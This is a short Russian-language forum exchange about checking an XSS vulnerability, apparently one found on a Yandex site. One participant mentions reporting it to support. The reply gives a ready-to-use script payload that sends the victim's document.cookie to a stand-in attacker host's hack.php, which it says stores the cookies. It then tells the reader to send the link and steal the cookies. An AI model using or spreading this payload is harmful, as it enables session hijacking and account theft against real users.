Как проверить XSS уязвимость?
Отписал в поддержку Яндекса, в общем все равно что-то да выполняется, это же плохо.
Выполняется в GET запросе? Подставляем вместо алерта
<script>
document.location="http://yoursite.com/hack.php?cookie=" + document.cookie;document.location="http://www.site.com"
</script>

Где hack.php — наш простенький скрипт по сохранению кукисов. Шлем ссылку, угоняем куки.